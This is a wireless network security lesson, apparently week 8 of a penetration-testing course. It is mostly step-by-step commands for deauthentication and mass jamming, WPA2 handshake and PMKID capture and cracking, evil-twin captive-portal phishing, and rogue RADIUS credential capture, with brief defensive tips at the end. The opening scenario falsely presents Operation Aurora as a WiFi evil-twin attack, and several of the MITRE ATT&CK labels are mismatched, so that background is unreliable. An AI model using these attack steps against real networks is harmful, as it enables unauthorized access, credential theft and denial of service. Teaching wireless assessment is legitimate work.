Week 8: Wireless Network Security

MITRE ATT&CK: Tactic — TA0042 (Impact), Technique — T1602 (Data from Local Network), T1557 (Man-in-the-Middle)

Real-World Attack Scenario: The Operation Aurora Enterprise WiFi Attack

Operation Aurora (2009) targeted Google and 30+ other companies. A key component was wireless network compromise:

1. WiFi Reconnaissance: Attackers collected WiFi probe requests from employees at airports and cafes
2. Network Identification: Used SSID patterns to identify company laptops (BSSIDs like "Google STAFF")
3. Evil Twin Attack: Created rogue access points with matching SSIDs in hotel lobbies and conference areas
4. Credential Capture: When employees' devices auto-connected, credentials were sent in cleartext
5. VPN Exploitation: Used captured credentials to access corporate VPN
6. Persistence: Established persistent access through multiple jump points

Real attack tools used: -airserv-ng: Turned wireless card into server for remote access -airodump-ng: Captured handshakes and client associations -aireplay-ng: Deauthentication to force reconnection -hostapd-wpe: Created rogue Access Points with enterprise authentication prompts

Why this week matters: Wireless networks extend beyond your physical perimeter. Employees connecting to "Free WiFi" at cafes creates attack opportunities. Understanding WPA2 cracking, Evil Twin attacks, and wireless reconnaissance is essential for assessing the true network perimeter.

Objectives

• Understand WiFi protocols and security mechanisms
• Capture and crack WPA2 handshakes
• Perform Evil Twin and rogue AP attacks
• Conduct wireless reconnaissance and auditing

WiFi Fundamentals

802.11 Frame Types

Management Frames:  Beacon, Probe Request/Response, Association, Authentication
Control Frames:     RTS/CTS, ACK, PS-Poll
Data Frames:        Data (encrypted payload)

Security Protocols

Protocol	Security	Notes
Open	None	Fully open, everything visible
WEP	Weak	RC4 cipher, easily cracked, avoid
WPA	Moderate	TKIP, vulnerable to attacks
WPA2-PSK	Good	AES-CCMP, strong with long passphrase
WPA2-Enterprise	Best	RADIUS authentication, individual creds
WPA3	Best	SAE (forward secrecy), Dragonblood vulnerable

WiFi Bands

2.4 GHz (802.11b/g/n):   Longer range, more interference, 14 channels (1-14)
5 GHz (802.11a/n/ac/ax): Shorter range, less congestion, many channels
6 GHz (802.11ax):        Newest, short range

Initial Recon

Discover Networks

# Using airmon-ng
airmon-ng start wlan0          # Start monitor mode (creates wlan0mon)
airmon-ng start wlan0          # Or use phy0, check with iwconfig

# Discover networks
airodump-ng wlan0mon           # Shows all APs and clients
airodump-ng wlan0mon --channel 6  # Focus on specific channel

# Stop monitor mode when done
airmon-ng stop wlan0mon

Capturing Output

airodump-ng wlan0mon --output-format csv -w wifi_scan
# Creates wifi_scan-01.csv, wifi_scan-01.cap

# Focus on specific AP
airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture

Display Filters (for .cap files)

# With tcpdump
tcpdump -r capture.cap -n | grep -i "beacon"

# With Wireshark
# wlan.addr == AA:BB:CC:DD:EE:FF  (specific AP)
# wlan.ssid == "TargetNetwork"    (specific SSID)
# radiotap.channel == 6           (specific channel)

WPA2-PSK Cracking

Handshake Capture

# Step 1: Monitor target
airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w handshake_capture

# Step 2: Deauth to force reconnection (in another terminal)
aireplay-ng wlan0mon -0 5 -a AA:BB:CC:DD:EE:FF
# -0 = deauth, 5 = number of deauths, -a = AP MAC

# Or deauth all clients
aireplay-ng wlan0mon -0 5 -a AA:BB:CC:DD:EE:FF -c FF:FF:FF:FF:FF:FF

# Step 3: Verify handshake captured
# Look in airodump: "WPA handshake: AA:BB:CC:DD:EE:FF"

Wordlist Attacks

# Basic wordlist
aircrack-ng handshake.cap -w wordlist.txt

# With hashcat
# Convert cap to hccapx
cap2hccapx.bin handshake.cap handshake.hccapx
hashcat -m 2500 handshake.hccapx wordlist.txt

# Rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null
aircrack-ng handshake.cap -w /usr/share/wordlists/rockyou.txt

Rule-Based Attacks

# Hashcat rules for mutations
# Common: append numbers, leet speak
# Example rule file: best64.rule

hashcat -m 2500 handshake.hccapx wordlist.txt -r rules/best64.rule

PMKID Attack (No Handshake Needed)

# Some routers leak PMKID
# Check with hcxdumptool
apt install hcxtools
hcxdumptool -i wlan0mon -o pmkid.pcapng --active_beacon

# Then extract and crack
hcxpcaptool -z pmkid_hash.txt pmkid.pcapng
hashcat -m 16800 pmkid_hash.txt wordlist.txt

Evil Twin Attack

Setup

# Create fake AP
airbase-ng -e "Free WiFi" -c 6 wlan0mon

# Or hostapd
apt install hostapd
# Create hostapd.conf
interface=wlan0mon
ssid=FreeWiFi
hw_mode=g
channel=6
driver=nl80211

Captive Portal Fake

# Use mana-toolkit or wifiphisher
wifiphisher -i wlan0mon

# Or manual:
# 1. Create fake AP with same SSID as target
# 2. Deauth clients from real AP
# 3. Clients connect to fake AP
# 4. Serve login page
# 5. Capture PSK or credentials

KARM Attack (Karmatic)

# Part of mana-toolkit
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana
./configure
make
# Run hostapd-mana with karma enabled

WPA2 Enterprise Attacks

Rogue RADIUS Server

# Install Freeradius
apt install freeradius

# Create fake AP with hostapd-wpe
hostapd-wpe wlan0mon -c hostapd-wpe.conf

# When users connect, they see certificate prompt
# If they accept, we capture credentials
# MSCHAPv2 can be cracked with asleap/hashcat

Extract Credentials

# From eap MD5 or LEAP
asleap -r capture.pcap -f dictionary.txt

# Convert to hashcat format
# MSCHAPv2: hashcat -m 5500

Bluetooth Security

Discovery

# BlueZ tools
hcitool scan
hcitool inq
bt-adapter -d

# Bluedroid
bluetoothctl
[bluetooth]# scan on
[bluetooth]# devices

Sniffing (Ubertooth)

# Ubertooth One required
ubertooth-btle -f -c capture.pcap
ubertooth-util -t

# Kismet
kismet -w wlan0mon,wlxd037453a1234

WiFi Jamming / Denial

Deauthentication

# Targeted
aireplay-ng wlan0mon -0 10 -a AA:BB:CC:DD:EE:FF -c FF:FF:FF:FF:FF:FF

# Mass deauth (all networks)
mdk4 wlan0mon d

# Use with caution - this is DoS, often illegal

Rogue AP Detection

From Defender Perspective

# Monitor for suspicious APs
airodump-ng wlan0mon

# Look for:
# - APs with same SSID but different BSSID
# - Unexpected open networks
# - High TX power (distant attacker nearby)

# Use tools
airgeddon  # Multi-tool with Evil Twin detection

Practice Labs

Lab 1: WPA2 Handshake Capture

# Prerequisites:
# - Kali with monitor mode interface
# - Another device connected to a WPA2 network
# - Proximity to the target network

# Step 1: Set monitor mode
airmon-ng start wlan0

# Step 2: Capture handshakes
airodump-ng wlan0mon --bssid <target_router_mac> -c <channel> -w wpa_capture

# Step 3: Deauth the client
aireplay-ng wlan0mon -0 5 -a <router_mac> -c <client_mac>

# Step 4: Crack with wordlist
aircrack-ng wpa_capture-01.cap -w /usr/share/wordlists/rockyou.txt

Lab 2: Evil Twin Attack

# Create fake AP with hostapd
# Configure hostapd.conf with target SSID
# Deauth real AP clients
# Capture when they connect to fake AP

Lab 3: PMKID Attack

# If supported by target router
hcxdumptool -i wlan0mon -o pmkid_capture.pcapng --active_beacon
# Let it run for a while near target

# Extract hash
hcxpcaptool -z pmkid_hashes.txt pmkid_capture.pcapng

# Crack
hashcat -m 16800 pmkid_hashes.txt wordlist.txt

Defense Recommendations

Risk	Mitigation
Dictionary attacks	Strong passphrase (16+ chars, random)
Evil Twin	Verify AP MAC, check for HTTPS captive portals
Rogue AP	Monitor for unexpected SSIDs, use 802.1X
Karma/Hostapd	Be suspicious of multiple APs with same name
Enterprise attacks	User training, certificate pinning

Key Takeaways

1. WPA2-PSK — crackable with handshake capture + wordlist
2. Strong passwords — 16+ characters, random, no dictionary words
3. WPA3 — SAE provides forward secrecy, but has vulnerabilities
4. Monitor mode — airmon-ng, airodump-ng, aireplay-ng
5. Evil Twin — deauth + fake AP; capture when clients reconnect
6. Enterprise — RADIUS auth helps, but can still be impersonated

Next Week Preview

Week 9 covers Privilege Escalation — the critical step after initial access. You'll learn Linux sudo/suid exploits, kernel exploits, Windows token abuse, and DLL hijacking.